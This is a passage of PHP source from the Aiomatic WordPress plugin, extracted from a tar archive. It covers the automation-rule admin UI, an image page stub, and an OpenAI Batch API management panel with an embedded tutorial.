'OmniBlock Template Manager' tab -> 'Backup/Restore OmniBlock Templates' button -> 'Import Default OmniBlock Templates' button.", 'aiomatic-automatic-ai-content-writer') . '</div> </div> <b>' . esc_html__("Load An OmniBlock Template:", 'aiomatic-automatic-ai-content-writer') . '</b> </td> <td> <select title="' . esc_html__('Select an OmniBlock Template to be loaded into the OmniBlock Queue. Note that this will overwrite your current OmniBlock setup.', 'aiomatic-automatic-ai-content-writer') . '" class="cr_width_full omni_select_template" id="omni_select_template' . esc_html($cont) . '" data-id="' . esc_html($cont) . '">'; if(!empty($temp_list)) { $output .= '<option value="" selected>' . esc_html__("Select a template", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($temp_list as $templid => $templ) { $output .= '<option value="' . esc_attr($templid) . '">' . esc_html($templ) . '</option>'; } } else { $output .= '<option value="" disabled selected>' . esc_html__("No templates found. Add some in the 'OmniBlock Template Manager' tab", 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select> </td> </tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Select a OmniBlock template category to list.", 'aiomatic-automatic-ai-content-writer') . '</div> </div> <b>' . esc_html__("Filter OmniBlock Templates By Category:", 'aiomatic-automatic-ai-content-writer') . '</b> </td> <td> <select title="' . esc_html__('Filter displayed OmniBlock Templates by Category.', 'aiomatic-automatic-ai-content-writer') . '" class="cr_width_full omni_select_template_cat" data-id="' . esc_html($cont) . '">'; if(!empty($aiomatic_tax_names)) { $output .= '<option value="" selected>' . esc_html__("Show all templates", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($aiomatic_tax_names as $templ) { $output .= '<option value="' . esc_attr($templ) . '">' . esc_html($templ) . '</option>'; } } else { $output .= '<option value="" disabled selected>' . esc_html__("No template categories found. Add some in the 'OmniBlock Template Manager' tab", 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select> </td> </tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Save the above OmniBlock queue as a new OmniBlock template. Afterwards, the template will be manageable in the 'OmniBlock Template Manager' tab from above.", 'aiomatic-automatic-ai-content-writer') . '</div> </div> <b>' . esc_html__("Save Above OmniBlocks As A New Template:", 'aiomatic-automatic-ai-content-writer') . '</b> </td> <td> <input type="button" class="aisavetemplate button page-title-action" title="' . esc_html__('Saves the OmniBlock Queue configured above, as a new Template', 'aiomatic-automatic-ai-content-writer') . '" data-id="' . esc_html($cont) . '" value="' . esc_html__("Save New Template", 'aiomatic-automatic-ai-content-writer') . '"> </td> </tr> </tbody></table></div> </div> <div class="codemodalauto-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3><span id="aiomatic_auto_ok' . esc_html($cont) . '" class="codeokauto cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr' . esc_html($cont) . '" value="Settings"> <div id="mymodalfzr' . esc_html($cont) . '" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close' . esc_html($cont) . '" class="codeclosefzr">×</span> <h2>' . esc_html__('Rule', 'aiomatic-automatic-ai-content-writer') . ' <span class="cr_color_white">ID ' . esc_html($cont) . '</span> ' . esc_html__('Advanced Settings', 'aiomatic-automatic-ai-content-writer') . '</h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="aiomatic-automation responsive table cr_main_table_nowr"> <tr><td colspan="2"><h2>' . esc_html__('Advanced Settings', 'aiomatic-automatic-ai-content-writer') . ':</h2></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Select if you want to process each keyword from the added list only once.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Process Each Keyword Only Once", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="title_once" name="aiomatic_omni_list[title_once][]"'; if($title_once == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Scheduling Restrictions', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Run This Rule On The Following Days Of The Week", 'aiomatic-automatic-ai-content-writer') . ':</b> <br/>' . esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s") . ' </td><td> <input type="text" class="cr_width_full" name="aiomatic_omni_list[days_no_run][]" value="' . esc_attr($days_no_run) . '" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </div> </td></tr> </table></div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3><span id="aiomatic_ok' . esc_html($cont) . '" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="wpaiomatic-delete">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_omni_list[active][]" class="activateDeactivateClass" value="1"'; if (isset($active) && $active === '1') { $output .= ' checked'; } $output .= '/> <input type="hidden" name="aiomatic_omni_list[last_run][]" value="' . esc_attr($last_run) . '"/> <input type="hidden" name="aiomatic_omni_list[rule_unique_id][]" value="' . esc_attr($rule_unique_id) . '"/></td> <td class="cr_shrt_td2"><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag">' . sprintf( wp_kses( __( 'Shortcode for this rule<br/>(to cross-post from this plugin in other plugins):', 'aiomatic-automatic-ai-content-writer'), array( 'br' => array( ) ) ) ) . '<br/><b>%%aiomatic_5_' . esc_html($cont) . '%% and %%aiomatic_title_5_' . esc_html($cont) . '%%</b><br/>' . esc_html__('Posts Generated:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($generated_posts) . '<br/>'; if ($generated_posts != 0) { $output .= '<a href="' . get_admin_url() . 'edit.php?coderevolution_post_source=Aiomatic_5_' . esc_html($cont) . '" target="_blank">' . esc_html__('View Generated Posts', 'aiomatic-automatic-ai-content-writer') . '</a><br/>'; } $output .= esc_html__('Last Run: ', 'aiomatic-automatic-ai-content-writer'); if ($last_run == '1988-01-27 00:00:00') { $output .= 'Never'; } else { $output .= $last_run; } $output .= '<br/>' . esc_html__('Next Run: ', 'aiomatic-automatic-ai-content-writer'); if($unlocker == '1') { $nextrun = aiomatic_add_minute($last_run, $schedule); } else { $nextrun = aiomatic_add_hour($last_run, $schedule); } $now = aiomatic_get_date_now(); if (isset($active) && $active === '1') { if($unlocker == '1') { $aiomatic_hour_diff = (int)aiomatic_minute_diff($now, $nextrun); } else { $aiomatic_hour_diff = (int)aiomatic_hour_diff($now, $nextrun); } if ($aiomatic_hour_diff >= 0) { if($unlocker == '1') { $append = 'Now.'; } else { $append = 'Now.'; } $cron = _get_cron_array(); if ($cron != FALSE) { $date_format = _x('Y-m-d H:i:s', 'Date Time Format1', 'aiomatic-automatic-ai-content-writer'); foreach ($cron as $timestamp => $cronhooks) { foreach ((array) $cronhooks as $hook => $events) { if ($hook == 'aiomaticaction') { foreach ((array) $events as $key => $event) { $append = date_i18n($date_format, $timestamp); } } } } } $output .= $append; } else { $output .= $nextrun; } } else { $output .= esc_html__('Rule Disabled', 'aiomatic-automatic-ai-content-writer'); } $output .= '<br/>' . esc_html__('Local Time: ', 'aiomatic-automatic-ai-content-writer') . $now; $output .= '</div> </div></td> <td class="cr_center"> <div> <img id="run_img' . esc_html($cont) . '" src="' . plugin_dir_url(dirname(__FILE__)) . 'images/running.gif' . '" alt="Running" class="cr_status_icon'; if (!empty($running)) { if (!in_array(array($cont => 5), $running)) { $f = fopen(get_temp_dir() . 'aiomatic_5_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_5_' . $cont); } $output .= ' cr_hidden'; } else { $f = fopen(get_temp_dir() . 'aiomatic_5_' . $cont, 'w'); if($f !== false) { if (!flock($f, LOCK_EX | LOCK_NB)) { } else { $output .= ' cr_hidden'; flock($f, LOCK_UN); if (($xxkey = array_search(array($cont => 5), $running)) !== false) { unset($running[$xxkey]); update_option('aiomatic_running_list', $running); } } } } } else { $f = fopen(get_temp_dir() . 'aiomatic_5_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_5_' . $cont); } $output .= ' cr_hidden'; } $output .= '" title="status"> <div class="codemainfzr cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" onchange="actionsChangedManual(' . esc_html($cont) . ', this.value, 5, \'' . esc_html($rule_unique_id) . '\');" onfocus="this.selectedIndex = 0;"> <option value="select" disabled selected>' . esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="run">' . esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="erase">' . esc_html__("Erase Processed Keyword History", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="duplicate">' . esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="up">' . esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="down">' . esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash">' . esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="delete">' . esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </div> </td> </tr> '; $cont = $cont + 1; } } return $output; } ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-images.php�����������������������������������������������������������������������������0000644�����������������00000002763�14757771437�0011135 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_media_page() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("Aiomatic Images", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="wrap"> <nav class="nav-tab-wrapper"> <a href="#aiomatic-image-tab-1" class="nav-tab aiomatic-nav-tab-active"><?php echo esc_html__("Aiomatic Images", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <h2><?php echo esc_html__("AI Generated Images", 'aiomatic-automatic-ai-content-writer');?></h2> <div id="aiomatic-image-tab-1" class="aiomatic-image-tab-1 tab-content"> <br/> <?php echo esc_html__("Loading editor...", 'aiomatic-automatic-ai-content-writer');?> </div> <hr/> <h2><?php echo esc_html__("Royalty Free Images", 'aiomatic-automatic-ai-content-writer');?></h2> <div id="aiomatic-image-tab-2" class="aiomatic-image-tab-2 tab-content"> <br/> <?php echo esc_html__("Loading editor...", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <?php } ?>�������������res/aiomatic-batch.php������������������������������������������������������������������������������0000644�����������������00000116035�14757771437�0010747 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) exit; use AiomaticOpenAI\OpenAi\OpenAi; function aiomatic_batch_panel() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { ?> <h1><?php echo esc_html__("This feature is currently not supported when using Azure/Claude API!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); if(count($appids) > 1) { ?> <h1><?php echo esc_html__("This feature is currently supported only if you enter a single OpenAI API key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } if(count($appids) == 0) { ?> <h1><?php echo esc_html__("You need to add an API key in plugin settings for this to work.", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } $token = $appids[array_rand($appids)]; if(aiomatic_is_aiomaticapi_key($token)) { ?> <h1><?php echo esc_html__("This feature is currently supported only for OpenAI API keys.", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("AI Batch Requests", 'aiomatic-automatic-ai-content-writer');?></h2> <div class="wrap"> <nav class="nav-tab-wrapper"> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Tutorial", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-3" class="nav-tab"><?php echo esc_html__("Manual Batch File Generator", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-6" class="nav-tab"><?php echo esc_html__("Manage AI Batch Requests", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("Manage AI Batch Request Files", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <div id="tab-1" class="tab-content"> <br/> <h3><?php echo esc_html__("What are AI Batch Requests?", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__('The Batch API is a powerful feature of the OpenAI platform that allows you to send asynchronous groups of requests, offering significant cost savings, higher rate limits, and a clear 24-hour turnaround time. This service is ideal for processing jobs that don\'t require immediate responses. You can use the Batch API for tasks such as:', 'aiomatic-automatic-ai-content-writer');?></p> <ul><li>- <?php echo esc_html__("Running evaluations", 'aiomatic-automatic-ai-content-writer');?></li> <li>- <?php echo esc_html__("Classifying large datasets", 'aiomatic-automatic-ai-content-writer');?></li> <li>- <?php echo esc_html__("Embedding content repositories", 'aiomatic-automatic-ai-content-writer');?></li></ul> <p><?php echo esc_html__("Compared to using standard endpoints directly, the Batch API provides:", 'aiomatic-automatic-ai-content-writer');?></p> <ul><li>- <?php echo esc_html__("Better cost efficiency: 50% cost discount compared to synchronous APIs", 'aiomatic-automatic-ai-content-writer');?></li> <li>- <?php echo esc_html__("Higher rate limits: Substantially more headroom compared to the synchronous APIs", 'aiomatic-automatic-ai-content-writer');?></li> <li>- <?php echo esc_html__("Fast completion times: Each batch completes within 24 hours (and often more quickly)", 'aiomatic-automatic-ai-content-writer');?></li></ul> <p><?php echo sprintf( wp_kses( __( 'Check details about the Batch API, in <a href="%s" target="_blank">OpenAI\'s official documentation</a> and <a href="%s" target="_blank">FAQ</a>.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://platform.openai.com/docs/guides/batch', 'https://help.openai.com/en/articles/9197833-batch-api-faq' );?></p> <h3><?php echo esc_html__("How to Use the Batch API", 'aiomatic-automatic-ai-content-writer');?></h3> <h4><?php echo esc_html__("Step 1: Prepare Your Batch File", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("You can use the 'Manual Batch File Generator' tab to create a .jsonl file which will be able to be uploaded directly to OpenAI and used as a AI Batch Request file.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("You can also manually create a .jsonl file where each line contains the details of an individual request to the API. Each request must include a unique custom_id value. Here's an example of an input file with 2 requests:", 'aiomatic-automatic-ai-content-writer');?></p> <code>{"custom_id": "request-1", "method": "POST", "url": "/v1/chat/completions", "body": {"model": "gpt-4o-mini", "messages": [{"role": "system", "content": "You are a helpful assistant."},{"role": "user", "content": "Hello world!"}],"max_tokens": 1000}}<br/> {"custom_id": "request-2", "method": "POST", "url": "/v1/chat/completions", "body": {"model": "gpt-4o-mini", "messages": [{"role": "system", "content": "You are an unhelpful assistant."},{"role": "user", "content": "Hello world!"}],"max_tokens": 1000}}</code> <h4><?php echo esc_html__("Step 2: Upload Your Batch Input File", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("Upload your .jsonl file using the 'Manage AI Batch Request Files' tab of this menu.", 'aiomatic-automatic-ai-content-writer');?></p> <h4><?php echo esc_html__("Step 3: Create the Batch", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("Use the input File object's ID to create a batch, in the 'Manage AI Batch Requests' tab from this menu.", 'aiomatic-automatic-ai-content-writer');?></p> <h4><?php echo esc_html__("Step 4: Check the Status of a Batch & Retrieve the Results", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("You can check the status of a batch at any time. Once the batch is complete, download the output from the 'Manage AI Batch Requests' tab.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("That's it! You've successfully set up an AI-powered Batch API request, using the Aiomatic plugin.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("AI Batch Requests Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/JqWFhJiyPh8" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-3" class="tab-content"> <br/> <h2 class="wp-heading-inline"><?php echo esc_html__("Enter Your Data", 'aiomatic-automatic-ai-content-writer');?></h2> <form id="aiomatic_form_data" class="coderevolution_gutenberg_input" action="" method="post"> <div class="aiomatic_list_data"> <div id="aiomatic_legacy_data" class="cr_display_none"> <div class="aiomatic_data_item_single"> <div class="cr_center"><strong><?php echo esc_html__("Prompt", 'aiomatic-automatic-ai-content-writer');?></strong></div> </div> <div id="aiomatic_data_list_batch" class="aiomatic_data_list_batch"> <div class="aiomatic_data_item_single aiomatic_data"> <div> <textarea rows="1" name="data_batch[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt"></textarea> <span class="button button-link-delete">×</span> </div> </div> </div> </div> <div id="aiomatic_gpt_data"> <div class="aiomatic_data_item"> <div class="cr_center"><strong><?php echo esc_html__("System", 'aiomatic-automatic-ai-content-writer');?></strong></div> <div class="cr_center"><strong><?php echo esc_html__("User", 'aiomatic-automatic-ai-content-writer');?></strong></div> </div> <div id="aiomatic_new_data_batch_list" class="aiomatic_data_list_batch"> <div class="aiomatic_data_item aiomatic_new_data_batch"> <div> <textarea rows="1" name="new_data_batch[0][system]" class="regular-text aiomatic_new_data_batch_system aiomatic_height" placeholder="System"></textarea> </div> <div> <textarea rows="1" name="new_data_batch[0][prompt]" class="regular-text aiomatic_new_data_batch_prompt aiomatic_height" placeholder="User"></textarea> <span class="button button-link-delete">×</span> </div> </div> </div> </div> <button class="button button-primary aiomatic_add_data" type="button"><?php echo esc_html__("Save & Add New", 'aiomatic-automatic-ai-content-writer');?></button><br/><br/> <button class="button button-primary aiomatic_clear_data coderevolution_gutenberg_input" type="button"><?php echo esc_html__("Clear Data", 'aiomatic-automatic-ai-content-writer');?></button><br/><br/> <button class="button button-primary aiomatic_download_data coderevolution_gutenberg_input" type="button"><?php echo esc_html__("Download Data", 'aiomatic-automatic-ai-content-writer');?></button><br/><br/> <button class="button button-primary aiomatic_load_data coderevolution_gutenberg_input"><?php echo esc_html__("Load From File", 'aiomatic-automatic-ai-content-writer');?></button> <span class="cr_center coderevolution_block_input"><input type="file" id="aiomatic_file_load" accept=".jsonl,.csv"></span> </div> <p class="cr_center"><?php echo esc_html__("You can load .csv or .jsonl files.", 'aiomatic-automatic-ai-content-writer');?></p> <p class="cr_center"><?php echo esc_html__("TIP: You don't need to add prompt or completion suffixes in the data from above, as the plugin will handle this automatically, it will automatically add to your data the suffixes defined in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer');?></p> <hr/> <table class="form-table"> <tbody> <tr> <th scope="row"><?php echo esc_html__("Purpose", 'aiomatic-automatic-ai-content-writer');?></th> <td> <select name="purpose"> <option value="batch"><?php echo esc_html__("Batch", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Model Base", 'aiomatic-automatic-ai-content-writer');?></th> <td> <select id="model_selector_data_batch" name="model" onchange="aiomatic_batch_data_changed()"> <?php foreach(AIOMATIC_BATCH_MODELS as $bm) { echo '<option value="' . $bm . '">' . $bm; if(in_array($bm, AIOMATIC_EMBEDDINGS_MODELS)) { echo ' (/v1/embeddings)'; } else { echo ' (/v1/chat/completions)'; } echo '</option>'; } ?> </select> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Max Tokens", 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="number" min="1" step="1" id="model_max_tokens" name="model_max_tokens" placeholder="<?php echo esc_html__("Maximum token size (optional)", 'aiomatic-automatic-ai-content-writer');?>"> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Custom Name", 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="text" name="custom" id="file-name-holder" placeholder="<?php echo esc_html__("File name", 'aiomatic-automatic-ai-content-writer');?>"> </td> </tr> </tbody> </table> <div class="aiomatic-convert-progress aiomatic-convert-bar"> <span></span> <small>0%</small> </div> <div class="aiomatic-upload-message"></div> <button class="button-primary button aiomatic_submit coderevolution_gutenberg_input"><?php echo esc_html__("Upload to OpenAI", 'aiomatic-automatic-ai-content-writer');?></button> </form> <form id="aiomatic_upload_convert" class="aiomatic_none" action="" method="post"> <input type="hidden" name="action" value="aiomatic_upload_convert_batch"> <input type="hidden" name="nonce" value="<?php echo wp_create_nonce('openai-training-nonce');?>"> <input type="hidden" id="aiomatic_upload_convert_index" name="index" value="1"> <input id="aiomatic_upload_convert_line" type="hidden" name="line" value="0"> <input id="aiomatic_upload_convert_lines" type="hidden" value="0"> <input type="hidden" name="file" value=""> <input type="hidden" name="purpose" value="fine-tune"> <input type="hidden" name="model" value=""> <input type="hidden" name="custom" value=""> </form> </div> <div id="tab-2" class="tab-content"> <br/> <?php $aiomaticMaxFileSize = wp_max_upload_size(); ?> <hr/> <h3 class="margin5"><?php echo esc_html__("Upload A New AI Batch Request File (*.jsonl)", 'aiomatic-automatic-ai-content-writer');?></h3> <div class="aiomatic_form_upload_file"> <table class="form-table"> <tbody> <tr> <th scope="row"><?php echo esc_html__("Select A File To Upload", 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="file" id="aiomatic_batch_file_upload" accept=".jsonl"> </td> </tr> <tr> <td colspan="2"> <div class="aiomatic_upload_success aiomatic_none margin5 colorgr"><?php echo esc_html__("File uploaded successfully!", 'aiomatic-automatic-ai-content-writer');?></div> <div class="aiomatic_progress aiomatic_none"><span></span><small><?php echo esc_html__("Uploading", 'aiomatic-automatic-ai-content-writer');?></small></div> <div class="aiomatic-error-msg"></div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_file_button"><?php echo esc_html__("Upload to OpenAI", 'aiomatic-automatic-ai-content-writer');?></button><br> <p class="cr_center"><?php echo esc_html__("Maximum upload file size:", 'aiomatic-automatic-ai-content-writer');?> <?php echo size_format($aiomaticMaxFileSize)?> <?php if(wp_max_upload_size() < 104857600){ ?> <?php echo esc_html__("(Please increase this value if you want to upload larger files)", 'aiomatic-automatic-ai-content-writer');?> <?php } ?></p> </td> </tr> </tbody> </table> </div> <hr/> <h3 class="margin5"><?php echo esc_html__("Manage Uploaded AI Batch Request Files", 'aiomatic-automatic-ai-content-writer');?></h3> <br/><br/> <button href="javascript:void(0)" id="aiomatic_sync_batch_files" class="page-title-action aiomatic_sync_batch_files"><?php echo esc_html__("Sync Files", 'aiomatic-automatic-ai-content-writer');?></button>  <a href="https://platform.openai.com/storage" target="_blank" id="aiomatic_view_storage" class="page-title-action aiomatic_view_storage"><?php echo esc_html__("View Files On OpenAI", 'aiomatic-automatic-ai-content-writer');?></a> <table class="wp-list-table widefat fixed striped table-view-list comments" id="aiomatic-batch-files"> <thead> <tr> <th><?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?></th> <th class="width50p"><?php echo esc_html__("Size", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Purpose", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Created At", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Filename", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Action", 'aiomatic-automatic-ai-content-writer');?></th> </tr> </thead> <tbody> </tbody> </table> </div> <div id="tab-6" class="tab-content"> <h2><?php echo esc_html__("Manage AI Batch Requests:", 'aiomatic-automatic-ai-content-writer');?></h2> <br/> <button id="aiomatic_manage_batches" class="page-title-action"><?php echo esc_html__("Add New AI Batch Request", 'aiomatic-automatic-ai-content-writer'); ?></button> <button href="#" id="aiomatic_sync_batches" class="page-title-action aiomatic_sync_batches"><?php echo esc_html__("Sync All AI Batch Requests With OpenAI", 'aiomatic-automatic-ai-content-writer'); ?></button> <button href="#" id="aiomatic_delete_all_batches" class="page-title-action"><?php echo esc_html__("Delete AI Batch Request Local Database", 'aiomatic-automatic-ai-content-writer'); ?></button> <?php $orderby = 'date'; $order = 'DESC'; if (isset($_GET['order']) && in_array(strtolower($_GET['order']), ['asc', 'desc'])) { $order = strtoupper($_GET['order']); } if (isset($_GET['orderby']) && in_array(strtolower($_GET['orderby']), ['title', 'date'])) { $orderby = strtolower($_GET['orderby']); } $aiomatic_batch_page = isset($_GET['wpage']) && !empty($_GET['wpage']) ? sanitize_text_field($_GET['wpage']) : 1; $aiomatic_batches = new WP_Query(array( 'post_type' => 'aiomatic_batches', 'posts_per_page' => 40, 'paged' => $aiomatic_batch_page, 'order' => $order, 'orderby' => $orderby, 'post_status' => 'any' )); if($aiomatic_batches->have_posts()){ echo '<br><br>' . esc_html__('All AI Batch Requests', 'aiomatic-automatic-ai-content-writer') . ' (' . $aiomatic_batches->found_posts . ')<br>'; } $current_order = filter_input(INPUT_GET, 'order', FILTER_DEFAULT) === 'asc' ? 'desc' : 'asc'; $title_url = add_query_arg([ 'orderby' => 'title', 'order' => $current_order ], $_SERVER['REQUEST_URI']); $date_url = add_query_arg([ 'orderby' => 'date', 'order' => $current_order ], $_SERVER['REQUEST_URI']); ?> <table class="wp-list-table widefat fixed striped table-view-list posts"> <thead> <tr> <th scope="col"><a href="<?php echo esc_html($title_url); ?>"><?php echo esc_html__("OpenAI ID", 'aiomatic-automatic-ai-content-writer'); ?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Local ID", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Endpoint", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><a href="<?php echo esc_html($date_url); ?>"><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer'); ?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Manage", 'aiomatic-automatic-ai-content-writer'); ?></th> </tr> </thead> <tbody> <?php if($aiomatic_batches->have_posts()) { foreach ($aiomatic_batches->posts as $aiomatic_batch) { $status = get_post_meta($aiomatic_batch->ID, '_batch_status', true); ?> <tr> <td><?php echo esc_html($aiomatic_batch->post_title);?></td> <td><?php echo esc_html($aiomatic_batch->ID);?></td> <td><?php echo '<span '; if($status == 'failed' || $status == 'expired'){ echo 'class="cr_red"';}elseif($status == 'completed'){ echo 'class="cr_green"';}elseif($status == 'cancelled'){ echo 'class="cr_darkyellow"';} echo '>';echo $status;echo '</span>';?></td> <td><?php echo get_post_meta($aiomatic_batch->ID, '_batch_endpoint', true);?></td> <td><?php echo esc_html($aiomatic_batch->post_date)?></td> <td> <div class="cr_center"> <button class="button button-small aiomatic_sync_batch" id="aiomatic_sync_batch_<?php echo $aiomatic_batch->ID;?>" sync-id="<?php echo $aiomatic_batch->ID;?>"><?php echo esc_html__("Sync", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small aiomatic_view_batch" id="aiomatic_view_batch_<?php echo 